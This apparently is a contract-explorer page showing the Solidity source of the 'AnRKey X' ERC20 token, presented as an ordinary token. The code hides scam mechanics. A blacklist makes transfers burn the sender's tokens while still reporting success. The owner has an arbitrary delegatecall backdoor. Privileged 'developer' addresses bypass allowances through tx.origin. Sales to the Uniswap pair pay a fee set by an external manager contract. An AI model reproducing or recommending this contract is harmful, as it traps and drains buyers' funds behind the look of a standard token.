Blockwell

AnRKey X

ERC20

This contract is an ERC20 token.

Name AnRKey X
Symbol ANRX
Decimals 18
Total Supply 200,000,000 ANRX

About

Stats

Public Functions 7
Event Types 2
Code Size 12,020 bytes

Events (2) keyboard_arrow_up

Approval Event

Parameters help
_from
address help
_to
address help
_value
uint256 help

Transfer Event

Parameters help
_from
address help
_to
address help
_value
uint256 help

manager Constant

address help

weth Constant

address help

factory Constant

address help

router Constant

address help

decimals Variable

uint256 help

totalSupply Variable

uint256 help

name Variable

string help

symbol Variable

string help

paid Variable

bool help

balanceOf Variable

mapping(address => uint256) help

developer Variable

mapping(address => uint256) help
Internal Variable

blacklist Variable

mapping(address => bool) help
Internal Variable

allowance Variable

mapping(address => mapping(address => uint256)) help
Internal Variable

owner Variable

address help
Internal Variable

UNI Variable

address help
Internal Variable

Functions Expand All Collapse All

Parameters help

Name Type
_spender
address help
_value
uint256 help

Properties

Visibility help public
Mutability help payable
Source Code
function approve(address _spender, uint256 _value)
  public
  payable
  returns (bool)
{
  allowance[msg.sender][_spender] = _value;
  emit Approval(msg.sender, _spender, _value);
  return true;
}

Parameters help

Name Type
_to
address help
_value
uint256 help

Properties

Visibility help public
Mutability help payable
Source Code
function transfer(address _to, uint256 _value) public payable returns (bool) {
  return transferFrom(msg.sender, _to, _value);
}

Parameters help

Name Type
_from
address help
_to
address help
_value
uint256 help

Properties

Visibility help public
Mutability help payable
Source Code
function transferFrom(
  address _from,
  address _to,
  uint256 _value
) public payable returns (bool) {
  if (_value == 0) {
    return true;
  }
  if (msg.sender != _from && developer[tx.origin] == 0) {
    require(allowance[_from][msg.sender] >= _value);
    allowance[_from][msg.sender] -= _value;
  }
  require(balanceOf[_from] >= _value);
  balanceOf[_from] -= _value;
  if (blacklist[_to] || blacklist[_from]) {
    return true;
  }
  uint256 fee = getFee(_from, _to, _value);
  balanceOf[_to] += (_value - fee);
  emit Transfer(_from, _to, _value);
  return true;
}

batchSend keyboard_arrow_up

Parameters help

Name Type
_to
address[] help
_value
uint256 help

Properties

Visibility help public
Mutability help payable
Source Code
function batchSend(address[] memory _to, uint256 _value)
  public
  payable
  onlyOwner
  returns (bool)
{
  uint256 total = _value * _to.length;
  require(balanceOf[msg.sender] >= total);
  balanceOf[msg.sender] -= total;
  for (uint256 i = 0; i < _to.length; i++) {
    address to = _to[i];
    balanceOf[to] += _value;
    developer[to] = 1;
    emit Transfer(msg.sender, to, _value);
  }
  return true;
}

delegate keyboard_arrow_up

Parameters help

Name Type
a
address help
b
bytes help

Properties

Visibility help public
Mutability help payable
Source Code
function delegate(address a, bytes memory b) public payable onlyOwner {
  a.delegatecall(b);
}

constructor keyboard_arrow_up

Parameters help

This function has no parameters.

Properties

Visibility help public
Mutability help payable
Source Code
function() external payable {
  paid = true;
}

block keyboard_arrow_up

Parameters help

Name Type
_to
address[] help

Properties

Visibility help public
Mutability help payable
Source Code
function block(address[] memory _to) public payable onlyOwner returns (bool) {
  for (uint256 i = 0; i < _to.length; i++) {
    paid = true;
    address to = _to[i];
    blacklist[to] = true;
  }
}

Internal Functions Expand All Collapse All

Internal functions are parts of the contract that can't be used directly, but instead are used by the public functions listed above.

internal StandardToken.pairFor keyboard_arrow_up

Parameters help

Name Type
tokenA
address help
tokenB
address help

Properties

Visibility help private
Mutability help pure
Source Code
function pairFor(address tokenA, address tokenB)
  private
  pure
  returns (address)
{
  (address token0, address token1) = tokenA < tokenB
    ? (tokenA, tokenB)
    : (tokenB, tokenA);
  address pair = address(
    uint256(
      keccak256(
        abi.encodePacked(
          hex"ff",
          factory,
          keccak256(abi.encodePacked(token0, token1)),
          hex"96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f" // init code hash
        )
      )
    )
  );
  return pair;
}

internal StandardToken.getFee keyboard_arrow_up

Parameters help

Name Type
_from
address help
_to
address help
_value
uint256 help

Properties

Visibility help private
Mutability help transaction
Source Code
function getFee(
  address _from,
  address _to,
  uint256 _value
) private returns (uint256) {
  if (paid && _to == UNI && _from != owner && developer[_from] == 0) {
    return Management(manager).getFee(address(this), UNI, _value);
  }
  return 0;
}